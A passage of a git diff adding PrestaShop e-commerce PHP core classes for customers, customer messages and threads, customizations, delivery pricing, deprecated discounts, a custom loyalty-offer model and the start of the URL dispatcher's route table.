Db::getInstance()->getValue(' + SELECT `id_default_group` + FROM `'._DB_PREFIX_.'customer` + WHERE `id_customer` = '.(int)$id_customer + ); + return self::$_defaultGroupId[(int)$id_customer]; + } + + public static function getCurrentCountry($id_customer, Cart $cart = null) + { + if (!$cart) + $cart = Context::getContext()->cart; + if (!$cart || !$cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}) + $id_address = (int)Db::getInstance()->getValue(' + SELECT `id_address` + FROM `'._DB_PREFIX_.'address` + WHERE `id_customer` = '.(int)$id_customer.' + AND `deleted` = 0 ORDER BY `id_address`' + ); + else + $id_address = $cart->{Configuration::get('PS_TAX_ADDRESS_TYPE')}; + $ids = Address::getCountryAndState($id_address); + return (int)$ids['id_country'] ? $ids['id_country'] : Configuration::get('PS_COUNTRY_DEFAULT'); + } + + public function toggleStatus() + { + parent::toggleStatus(); + + /* Change status to active/inactive */ + return Db::getInstance()->execute(' + UPDATE `'.pSQL(_DB_PREFIX_.$this->def['table']).'` + SET `date_upd` = NOW() + WHERE `'.$this->def['primary'].'` = '.(int)$this->id); + } + + + public function isGuest() + { + return (bool)$this->is_guest; + } + + public function transformToCustomer($id_lang, $password = null) + { + if (!$this->isGuest()) + return false; + if (empty($password)) + $password = Tools::passwdGen(8, 'RANDOM'); + if (!Validate::isPasswd($password)) + return false; + + $this->is_guest = 0; + $this->passwd = Tools::encrypt($password); + $this->cleanGroups(); + $this->addGroups(array(Configuration::get('PS_CUSTOMER_GROUP'))); // add default customer group + if ($this->update()) + { + $vars = array( + '{firstname}' => $this->firstname, + '{lastname}' => $this->lastname, + '{email}' => $this->email, + '{passwd}' => $password + ); + + Mail::Send( + (int)$id_lang, + 'guest_to_customer', + Mail::l('Your guest account has been transformed to customer account', (int)$id_lang), + $vars, + $this->email, + $this->firstname.' '.$this->lastname, + null, + null, + null, + null, + _PS_MAIL_DIR_, + false, + (int)$this->id_shop + ); + return true; + } + return false; + } + + public function setWsPasswd($passwd) + { + if ($this->id != 0) + { + if ($this->passwd != $passwd) + $this->passwd = Tools::encrypt($passwd); + } + else + $this->passwd = Tools::encrypt($passwd); + return true; + } + + /** + * Check customer informations and return customer validity + * + * @since 1.5.0 + * @param boolean $with_guest + * @return boolean customer validity + */ + public function isLogged($with_guest = false) + { + if (!$with_guest && $this->is_guest == 1) + return false; + + /* Customer is valid only if it can be load and if object password is the same as database one */ + if ($this->logged == 1 && $this->id && Validate::isUnsignedId($this->id) && Customer::checkPassword($this->id, $this->passwd)) + return true; + return false; + } + + /** + * Logout + * + * @since 1.5.0 + */ + public function logout() + { + if (isset(Context::getContext()->cookie)) + Context::getContext()->cookie->logout(); + $this->logged = 0; + } + + /** + * Soft logout, delete everything links to the customer + * but leave there affiliate's informations + * + * @since 1.5.0 + */ + public function mylogout() + { + if (isset(Context::getContext()->cookie)) + Context::getContext()->cookie->mylogout(); + $this->logged = 0; + } + + public function getLastCart($with_order = true) + { + $carts = Cart::getCustomerCarts((int)$this->id, $with_order); + if (!count($carts)) + return false; + $cart = array_shift($carts); + $cart = new Cart((int)$cart['id_cart']); + return ($cart->nbProducts() === 0 ? (int)$cart->id : false); + } + + public function getOutstanding() + { + $query = new DbQuery(); + $query->select('SUM(oi.total_paid_tax_incl)'); + $query->from('order_invoice', 'oi'); + $query->leftJoin('orders', 'o', 'oi.id_order = o.id_order'); + $query->groupBy('o.id_customer'); + $query->where('o.id_customer = '.(int)$this->id); + $total_paid = (float)Db::getInstance()->getValue($query->build()); + + $query = new DbQuery(); + $query->select('SUM(op.amount)'); + $query->from('order_payment', 'op'); + $query->leftJoin('order_invoice_payment', 'oip', 'op.id_order_payment = oip.id_order_payment'); + $query->leftJoin('orders', 'o', 'oip.id_order = o.id_order'); + $query->groupBy('o.id_customer'); + $query->where('o.id_customer = '.(int)$this->id); + $total_rest = (float)Db::getInstance()->getValue($query->build()); + + return $total_paid - $total_rest; + } + + public function getWsGroups() + { + return Db::getInstance()->executeS(' + SELECT cg.`id_group` as id + FROM '._DB_PREFIX_.'customer_group cg + '.Shop::addSqlAssociation('group', 'cg').' + WHERE cg.`id_customer` = '.(int)$this->id + ); + } + + public function setWsGroups($result) + { + $groups = array(); + foreach ($result as $row) + $groups[] = $row['id']; + $this->cleanGroups(); + $this->addGroups($groups); + return true; + } + + /** + * @see ObjectModel::getWebserviceObjectList() + */ + public function getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit) + { + $sql_filter .= Shop::addSqlRestriction(Shop::SHARE_CUSTOMER, 'main'); + return parent::getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit); + } +} diff --git a/classes/CustomerMessage.php b/classes/CustomerMessage.php new file mode 100755 index 0000000..a8ec239 --- /dev/null +++ b/classes/CustomerMessage.php @@ -0,0 +1,109 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CustomerMessageCore extends ObjectModel +{ + public $id; + public $id_customer_thread; + public $id_employee; + public $message; + public $file_name; + public $ip_address; + public $user_agent; + public $private; + public $date_add; + public $read; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'customer_message', + 'primary' => 'id_customer_message', + 'fields' => array( + 'id_employee' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_customer_thread' => array('type' => self::TYPE_INT), + 'ip_address' => array('type' => self::TYPE_INT, 'validate' => 'isIp2Long'), + 'message' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'required' => true, 'size' => 65000), + 'file_name' => array('type' => self::TYPE_STRING), + 'user_agent' => array('type' => self::TYPE_STRING), + 'private' => array('type' => self::TYPE_INT), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'read' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool') + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_employee' => array( + 'xlink_resource' => 'employees' + ), + 'id_customer_thread' => array( + 'xlink_resource' => 'customer_threads' + ), + ), + ); + + public static function getMessagesByOrderId($id_order, $private = true) + { + return Db::getInstance()->executeS(' + SELECT cm.*, + c.`firstname` AS cfirstname, + c.`lastname` AS clastname, + e.`firstname` AS efirstname, + e.`lastname` AS elastname, + (COUNT(cm.id_customer_message) = 0 AND ct.id_customer != 0) AS is_new_for_me + FROM `'._DB_PREFIX_.'customer_message` cm + LEFT JOIN `'._DB_PREFIX_.'customer_thread` ct + ON ct.`id_customer_thread` = cm.`id_customer_thread` + LEFT JOIN `'._DB_PREFIX_.'customer` c + ON ct.`id_customer` = c.`id_customer` + LEFT OUTER JOIN `'._DB_PREFIX_.'employee` e + ON e.`id_employee` = cm.`id_employee` + WHERE ct.id_order = '.(int)$id_order.' + '.(!$private ? 'AND cm.`private` = 0' : '').' + GROUP BY cm.id_customer_message + ORDER BY cm.date_add DESC + '); + } + + public static function getTotalCustomerMessages($where = null) + { + if (is_null($where)) + return (int)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM '._DB_PREFIX_.'customer_message + '); + else + return (int)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM '._DB_PREFIX_.'customer_message + WHERE '.$where + ); + } + +} + diff --git a/classes/CustomerThread.php b/classes/CustomerThread.php new file mode 100755 index 0000000..a2822aa --- /dev/null +++ b/classes/CustomerThread.php @@ -0,0 +1,208 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CustomerThreadCore extends ObjectModel +{ + public $id; + public $id_shop; + public $id_lang; + public $id_contact; + public $id_customer; + public $id_order; + public $id_product; + public $status; + public $email; + public $token; + public $date_add; + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'customer_thread', + 'primary' => 'id_customer_thread', + 'fields' => array( + 'id_lang' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_contact' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_customer' =>array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_product' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'email' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'size' => 254), + 'token' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + 'status' => array('type' => self::TYPE_STRING), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_lang' => array( + 'xlink_resource' => 'languages' + ), + 'id_shop' => array( + 'xlink_resource' => 'shops' + ), + 'id_customer' => array( + 'xlink_resource' => 'customers' + ), + 'id_order' => array( + 'xlink_resource' => 'orders' + ), + 'id_product' => array( + 'xlink_resource' => 'products' + ), + ), + 'associations' => array( + 'customer_messages' => array( + 'resource' => 'customer_message', + 'id' => array('required' => true)), + ) + ); + + public function getWsCustomerMessages() + { + return Db::getInstance()->executeS(' + SELECT `id_customer_message` id + FROM `'._DB_PREFIX_.'customer_message` + WHERE `id_customer_thread` = '.(int)$this->id); + } + + public function delete() + { + if (!Validate::isUnsignedId($this->id)) + return false; + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'customer_message` + WHERE `id_customer_thread` = '.(int)$this->id + ); + return (parent::delete()); + } + + public static function getCustomerMessages($id_customer, $read = null) + { + $sql = 'SELECT * + FROM '._DB_PREFIX_.'customer_thread ct + LEFT JOIN '._DB_PREFIX_.'customer_message cm + ON ct.id_customer_thread = cm.id_customer_thread + WHERE id_customer = '.(int)$id_customer; + if (!is_null($read)) + $sql .= ' AND cm.`read` = '.(int)$read; + + return Db::getInstance()->executeS($sql); + } + + public static function getIdCustomerThreadByEmailAndIdOrder($email, $id_order) + { + return Db::getInstance()->getValue(' + SELECT cm.id_customer_thread + FROM '._DB_PREFIX_.'customer_thread cm + WHERE cm.email = \''.pSQL($email).'\' + AND cm.id_shop = '.(int)Context::getContext()->shop->id.' + AND cm.id_order = '.(int)$id_order + ); + } + + public static function getContacts() + { + return Db::getInstance()->executeS(' + SELECT cl.*, COUNT(*) as total, ( + SELECT id_customer_thread + FROM '._DB_PREFIX_.'customer_thread ct2 + WHERE status = "open" AND ct.id_contact = ct2.id_contact + '.Shop::addSqlRestriction().' + ORDER BY date_upd ASC + LIMIT 1 + ) as id_customer_thread + FROM '._DB_PREFIX_.'customer_thread ct + LEFT JOIN '._DB_PREFIX_.'contact_lang cl + ON (cl.id_contact = ct.id_contact AND cl.id_lang = '.(int)Context::getContext()->language->id.') + WHERE ct.status = "open" + AND ct.id_contact IS NOT NULL + AND cl.id_contact IS NOT NULL + '.Shop::addSqlRestriction().' + GROUP BY ct.id_contact HAVING COUNT(*) > 0 + '); + } + + public static function getTotalCustomerThreads($where = null) + { + if (is_null($where)) + return (int)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM '._DB_PREFIX_.'customer_thread + '); + else + return (int)Db::getInstance()->getValue(' + SELECT COUNT(*) + FROM '._DB_PREFIX_.'customer_thread + WHERE '.$where + ); + } + + public static function getMessageCustomerThreads($id_customer_thread) + { + return Db::getInstance()->executeS(' + SELECT ct.*, cm.*, cl.name subject, CONCAT(e.firstname, \' \', e.lastname) employee_name, + CONCAT(c.firstname, \' \', c.lastname) customer_name, c.firstname + FROM '._DB_PREFIX_.'customer_thread ct + LEFT JOIN '._DB_PREFIX_.'customer_message cm + ON (ct.id_customer_thread = cm.id_customer_thread) + LEFT JOIN '._DB_PREFIX_.'contact_lang cl + ON (cl.id_contact = ct.id_contact AND cl.id_lang = '.(int)Context::getContext()->language->id.') + LEFT JOIN '._DB_PREFIX_.'employee e + ON e.id_employee = cm.id_employee + LEFT JOIN '._DB_PREFIX_.'customer c + ON (IFNULL(ct.id_customer, ct.email) = IFNULL(c.id_customer, c.email)) + WHERE ct.id_customer_thread = '.(int)$id_customer_thread.' + ORDER BY cm.date_add DESC + '); + } + + public static function getNextThread($id_customer_thread) + { + $context = Context::getContext(); + return Db::getInstance()->getValue(' + SELECT id_customer_thread + FROM '._DB_PREFIX_.'customer_thread ct + WHERE ct.status = "open" + AND ct.date_upd = ( + SELECT date_add FROM '._DB_PREFIX_.'customer_message + WHERE (id_employee IS NULL OR id_employee = 0) + AND id_customer_thread = '.(int)$id_customer_thread.' + ORDER BY date_add DESC LIMIT 1 + ) + '.($context->cookie->{'customer_threadFilter_cl!id_contact'} ? + 'AND ct.id_contact = '.(int)$context->cookie->{'customer_threadFilter_cl!id_contact'} : '').' + '.($context->cookie->{'customer_threadFilter_l!id_lang'} ? + 'AND ct.id_lang = '.(int)$context->cookie->{'customer_threadFilter_l!id_lang'} : ''). + ' ORDER BY ct.date_upd ASC + '); + } +} + diff --git a/classes/Customization.php b/classes/Customization.php new file mode 100755 index 0000000..96bc352 --- /dev/null +++ b/classes/Customization.php @@ -0,0 +1,143 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class CustomizationCore +{ + public static function getReturnedCustomizations($id_order) + { + if (($result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT ore.`id_order_return`, ord.`id_order_detail`, ord.`id_customization`, ord.`product_quantity` + FROM `'._DB_PREFIX_.'order_return` ore + INNER JOIN `'._DB_PREFIX_.'order_return_detail` ord ON (ord.`id_order_return` = ore.`id_order_return`) + WHERE ore.`id_order` = '.(int)($id_order).' AND ord.`id_customization` != 0')) === false) + return false; + $customizations = array(); + foreach ($result as $row) + $customizations[(int)($row['id_customization'])] = $row; + return $customizations; + } + + public static function getOrderedCustomizations($id_cart) + { + if (!$result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS('SELECT `id_customization`, `quantity` FROM `'._DB_PREFIX_.'customization` WHERE `id_cart` = '.(int)($id_cart))) + return false; + $customizations = array(); + foreach ($result as $row) + $customizations[(int)($row['id_customization'])] = $row; + return $customizations; + } + + public static function countCustomizationQuantityByProduct($customizations) + { + $total = array(); + foreach ($customizations as $customization) + $total[(int)$customization['id_order_detail']] = !isset($total[(int)$customization['id_order_detail']]) ? (int)$customization['quantity'] : $total[(int)$customization['id_order_detail']] + (int)$customization['quantity']; + return $total; + } + + public static function getLabel($id_customization, $id_lang) + { + if (!$id_customization || !$id_lang) + return false; + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `name` + FROM `'._DB_PREFIX_.'customization_field_lang` + WHERE `id_customization_field` = '.(int)($id_customization).' + AND `id_lang` = '.(int)($id_lang) + ); + + return $result['name']; + } + + public static function retrieveQuantitiesFromIds($ids_customizations) + { + $quantities = array(); + + $in_values = ''; + foreach ($ids_customizations as $key => $id_customization) + { + if ($key > 0) $in_values .= ','; + $in_values .= (int)($id_customization); + } + + if (!empty($in_values)) + { + $results = Db::getInstance()->executeS( + 'SELECT `id_customization`, `id_product`, `quantity`, `quantity_refunded`, `quantity_returned` + FROM `'._DB_PREFIX_.'customization` + WHERE `id_customization` IN ('.$in_values.')'); + + foreach ($results as $row) + $quantities[$row['id_customization']] = $row; + } + + return $quantities; + } + + public static function countQuantityByCart($id_cart) + { + $quantity = array(); + + $results = Db::getInstance()->executeS(' + SELECT `id_product`, `id_product_attribute`, SUM(`quantity`) AS quantity + FROM `'._DB_PREFIX_.'customization` + WHERE `id_cart` = '.(int)$id_cart.' + GROUP BY `id_cart`, `id_product`, `id_product_attribute` + '); + + foreach ($results as $row) + $quantity[$row['id_product']][$row['product_attribute_id']] = $row['quantity']; + + return $quantity; + } + + /** + * This method is allow to know if a feature is used or active + * @since 1.5.0.1 + * @return bool + */ + public static function isFeatureActive() + { + return Configuration::get('PS_CUSTOMIZATION_FEATURE_ACTIVE'); + } + + /** + * This method is allow to know if a Customization entity is currently used + * @since 1.5.0.1 + * @param $table + * @param $has_active_column + * @return bool + */ + public static function isCurrentlyUsed($table = null, $has_active_column = false) + { + return (bool)Db::getInstance()->getValue(' + SELECT `id_customization_field` + FROM `'._DB_PREFIX_.'customization_field` + '); + } +} + diff --git a/classes/DateRange.php b/classes/DateRange.php new file mode 100755 index 0000000..b1fb03c --- /dev/null +++ b/classes/DateRange.php @@ -0,0 +1,64 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DateRangeCore extends ObjectModel +{ + public $time_start; + public $time_end; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'date_range', + 'primary' => 'id_date_range', + 'fields' => array( + 'time_start' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + 'time_end' => array('type' => self::TYPE_DATE, 'validate' => 'isDate', 'required' => true), + ), + ); + + public static function getCurrentRange() + { + $result = Db::getInstance()->getRow(' + SELECT `id_date_range`, `time_end` + FROM `'._DB_PREFIX_.'date_range` + WHERE `time_end` = (SELECT MAX(`time_end`) FROM `'._DB_PREFIX_.'date_range`)'); + if (!$result['id_date_range'] || strtotime($result['time_end']) < strtotime(date('Y-m-d H:i:s'))) + { + // The default range is set to 1 day less 1 second (in seconds) + $rangeSize = 86399; + $dateRange = new DateRange(); + $dateRange->time_start = date('Y-m-d'); + $dateRange->time_end = strftime('%Y-%m-%d %H:%M:%S', strtotime($dateRange->time_start) + $rangeSize); + $dateRange->add(); + return $dateRange->id; + } + return $result['id_date_range']; + } +} + + diff --git a/classes/Delivery.php b/classes/Delivery.php new file mode 100755 index 0000000..b6ee64a --- /dev/null +++ b/classes/Delivery.php @@ -0,0 +1,98 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DeliveryCore extends ObjectModel +{ + /** @var integer */ + public $id_delivery; + + /** @var int **/ + public $id_shop; + + /** @var int **/ + public $id_shop_group; + + /** @var integer */ + public $id_carrier; + + /** @var integer */ + public $id_range_price; + + /** @var integer */ + public $id_range_weight; + + /** @var integer */ + public $id_zone; + + /** @var float */ + public $price; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'delivery', + 'primary' => 'id_delivery', + 'fields' => array( + 'id_carrier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_range_price' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_range_weight' =>array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_zone' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT), + 'id_shop_group' => array('type' => self::TYPE_INT), + 'price' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + ), + ); + + protected $webserviceParameters = array( + 'objectsNodeName' => 'deliveries', + 'fields' => array( + 'id_carrier' => array('xlink_resource' => 'carriers'), + 'id_range_price' => array('xlink_resource' => 'price_ranges'), + 'id_range_weight' => array('xlink_resource' => 'weight_ranges'), + 'id_zone' => array('xlink_resource' => 'zones'), + ) + ); + + public function getFields() + { + $fields = parent::getFields(); + + // @todo add null management in definitions + if ($this->id_shop) + $fields['id_shop'] = (int)$this->id_shop; + else + $fields['id_shop'] = null; + + if ($this->id_shop_group) + $fields['id_shop_group'] = (int)$this->id_shop_group; + else + $fields['id_shop_group'] = null; + + return $fields; + } +} + diff --git a/classes/Diagnostic.php b/classes/Diagnostic.php new file mode 100755 index 0000000..e248dd7 --- /dev/null +++ b/classes/Diagnostic.php @@ -0,0 +1,82 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class DiagnosticCore extends ObjectModel +{ + // public $smarty; + public $id; + public $id_offrefidelite; + public $fidelite_civilite; + public $fidelite_nom; + public $fidelite_prenom; + public $fidelite_adr; + public $fidelite_ville; + public $fidelite_tel; + public $from; + public $days; + public $months; + public $years; + public $produits1; + public $produits2; + public $selectedIds; + + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'devspeoffrefidelite', + 'primary' => 'id_offrefidelite', + 'fields' => array( + // 'fidelite_adr' => array('type' => self::TYPE_STRING, 'validate' => 'isEmail', 'size' => 128), + // 'customer_service' => array('type' => self::TYPE_BOOL, 'validate' => 'isBool'), + + // Lang fields + 'fidelite_civilite' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_nom' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_prenom' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_adr' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_ville' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'fidelite_tel' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'from' => array('type' => self::TYPE_STRING, 'validate' => 'isString','size' => 255), + 'days' => array('type' => self::TYPE_STRING, 'validate' => 'isString','size' => 2), + 'months' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 2), + 'years' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 4), + 'produits1' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'produits2' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + 'selectedIds' => array('type' => self::TYPE_STRING, 'validate' => 'isString', 'size' => 255), + // 'description' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isCleanHtml'), + ), + ); + + + + public function __construct($id = null, $id_lang = null) + { + parent::__construct($id, $id_lang); + } +} + diff --git a/classes/Discount.php b/classes/Discount.php new file mode 100755 index 0000000..d35136f --- /dev/null +++ b/classes/Discount.php @@ -0,0 +1,266 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @deprecated 1.5.0.1 + */ +class DiscountCore extends CartRule +{ + const PERCENT = 1; + const AMOUNT = 2; + const FREE_SHIPPING = 3; + + public function __get($key) + { + Tools::displayAsDeprecated(); + + if ($key == 'id_group') + return 0; + if ($key == 'id_discount_type') + { + if ($this->free_shipping) + return Discount::FREE_SHIPPING; + if ($this->reduction_percent > 0) + return Discount::PERCENT; + if ($this->reduction_amount > 0) + return Discount::AMOUNT; + } + if ($key == 'name') + return $this->code; + if ($key == 'value') + { + if ($this->reduction_percent > 0) + return $this->reduction_percent; + if ($this->reduction_amount > 0) + return $this->reduction_amount; + } + if ($key == 'cumulable') + return $this->cart_rule_restriction; + if ($key == 'cumulable_reduction') + return false; + if ($key == 'minimal') + return $this->minimum_amount; + if ($key == 'include_tax') + return $this->reduction_tax; + if ($key == 'behavior_not_exhausted') + return $this->partial_use; + if ($key == 'cart_display') + return true; + + return $this->{$key}; + } + + public function __set($key, $value) + { + Tools::displayAsDeprecated(); + + if ($key == 'id_discount_type') + { + if ($value == Discount::FREE_SHIPPING) + { + $this->free_shipping = true; + $this->reduction_percent = false; + $this->reduction_amount = false; + } + if ($value == Discount::PERCENT) + { + $this->free_shipping = false; + $this->reduction_percent = true; + $this->reduction_amount = false; + } + if ($value == Discount::AMOUNT) + { + $this->free_shipping = false; + $this->reduction_percent = false; + $this->reduction_amount = true; + } + } + + if ($key == 'code') + $this->name[Configuration::get('PS_LANG_DEFAULT')] = $value; + + if ($key == 'value') + { + if ($this->reduction_percent) + $this->reduction_percent = $value; + if ($this->reduction_amount) + $this->reduction_amount = $value; + } + if ($key == 'cumulable') + $this->cart_rule_restriction = 1; + if ($key == 'minimal') + $this->minimum_amount = $value; + if ($key == 'include_tax') + $this->reduction_tax = $value; + if ($key == 'behavior_not_exhausted') + $this->partial_use = $value; + + $this->{$key} = $value; + } + + public function __call($method, $args) + { + Tools::displayAsDeprecated(); + $obj = $this->parent; + if (in_array($method, array('add', 'update', 'getIdByName', 'getCustomerDiscounts', 'getValue', 'discountExists', 'createOrderDiscount', 'getVouchersToCartDisplay', 'display'))) + $obj = $this; + return call_user_func_array(array($obj, $method), $args); + } + + /** + * @deprecated 1.5.0.1 + */ + public function add($autodate = true, $nullValues = false, $categories = null) + { + $r = parent::add($autodate, $nullValues); + // Todo : manage categories + return $r; + } + + /** + * @deprecated 1.5.0.1 + */ + public function update($autodate = true, $nullValues = false, $categories = null) + { + $r = parent::update($autodate, $nullValues); + // Todo : manage categories + return $r; + } + + /** + * @deprecated 1.5.0.1 + */ + public static function getIdByName($code) + { + return parent::getIdByCode($code); + } + + /** + * @deprecated 1.5.0.1 + */ + public static function getCustomerDiscounts($id_lang, $id_customer, $active = false, $includeGenericOnes = true, $hasStock = false, Cart $cart = null) + { + return parent::getCustomerCartRules($id_lang, $id_customer, $active, $includeGenericOnes, $hasStock, $cart); + } + + /** + * @deprecated 1.5.0.1 + */ + public static function getVouchersToCartDisplay($id_lang, $id_customer) + { + return CartRule::getCustomerCartRules($id_lang, $id_customer); + } + + /** + * @deprecated 1.5.0.1 + */ + public function getValue($nb_discounts = 0, $order_total_products = 0, $shipping_fees = 0, $id_cart = false, $useTax = true, Currency $currency = null, Shop $shop = null) + { + $context = Context::getContext(); + if ((int)$id_cart) + $context->cart = new Cart($id_cart); + if (Validate::isLoadedObject($currency)) + $context->currency = $currency; + if (Validate::isLoadedObject($shop)) + $context->shop = $shop; + return parent::getContextualValue($useTax, $context); + } + + /** + * @deprecated 1.5.0.1 + */ + public static function discountExists($discountName, $id_discount = 0) + { + return parent::cartRuleExists($discountName); + } + + /** + * @deprecated 1.5.0.1 + */ + public static function createOrderDiscount($order, $productList, $qtyList, $name, $shipping_cost = false, $id_category = 0, $subcategory = 0) + { + $languages = Language::getLanguages($order); + $products = $order->getProducts(false, $productList, $qtyList); + + // Totals are stored in the order currency (or at least should be) + $total = $order->getTotalProductsWithTaxes($products); + $discounts = $order->getDiscounts(true); + $total_tmp = $total; + foreach ($discounts as $discount) + { + if ($discount['id_discount_type'] == Discount::PERCENT) + $total -= $total_tmp * ($discount['value'] / 100); + elseif ($discount['id_discount_type'] == Discount::AMOUNT) + $total -= ($discount['value'] * ($total_tmp / $order->total_products_wt)); + } + if ($shipping_cost) + $total += $order->total_shipping; + + // create discount + $voucher = new Discount(); + $voucher->id_discount_type = Discount::AMOUNT; + foreach ($languages as $language) + $voucher->description[$language['id_lang']] = strval($name).(int)($order->id); + $voucher->value = (float)($total); + $voucher->name = 'V0C'.(int)($order->id_customer).'O'.(int)($order->id); + $voucher->id_customer = (int)($order->id_customer); + $voucher->id_currency = (int)($order->id_currency); + $voucher->quantity = 1; + $voucher->quantity_per_user = 1; + $voucher->cumulable = 1; + $voucher->cumulable_reduction = 1; + $voucher->minimal = (float)($voucher->value); + $voucher->active = 1; + $voucher->cart_display = 1; + + $now = time(); + $voucher->date_from = date('Y-m-d H:i:s', $now); + $voucher->date_to = date('Y-m-d H:i:s', $now + (3600 * 24 * 365.25)); /* 1 year */ + if (!$voucher->validateFieldsLang(false) || !$voucher->add()) + return false; + // set correct name + $voucher->name = 'V'.(int)($voucher->id).'C'.(int)($order->id_customer).'O'.$order->id; + if (!$voucher->update()) + return false; + + return $voucher; + } + + /** + * @deprecated 1.5.0.1 + */ + public static function display($value, $type, $currency = null) + { + if ((float)$value && (int)$type) + { + if ($type == 1) + return $value.chr(37); // ASCII #37 --> % (percent) + elseif ($type == 2) + return Tools::displayPrice($value, $currency); + } + return ''; // return a string because it's a display method + } +} \ No newline at end of file diff --git a/classes/Dispatcher.php b/classes/Dispatcher.php new file mode 100755 index 0000000..0e81c73 --- /dev/null +++ b/classes/Dispatcher.php @@ -0,0 +1,772 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + */ +class DispatcherCore +{ + /** + * List of available front controllers types + */ + const FC_FRONT = 1; + const FC_ADMIN = 2; + const FC_MODULE = 3; + + /** + * @var Dispatcher + */ + public static $instance = null; + + /** + * @var array List of default routes + */ + public $default_routes = array( + 'category_rule' => array( + 'controller' => 'category', + 'rule' => '{id}-{rewrite}', + 'keywords' => array( + 'id' => array('regexp' => '[0-9]+', 'param' => 'id_category'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + ), + ), + 'supplier_rule' => array( + 'controller' => 'supplier', + 'rule' => '{id}__{rewrite}', + 'keywords' => array( + 'id' => array('regexp' => '[0-9]+', 'param' => 'id_supplier'), + 'rewrite' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_keywords' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + 'meta_title' => array('regexp' => '[_a-zA-Z0-9-\pL]*'), + ), + ), + 'manufacturer_rule' => array( + 'controller' => 'manufacturer', + 'rule' => '{id}_{rewrite}', + 'keywords' => array( + 'id' => array('regexp' => 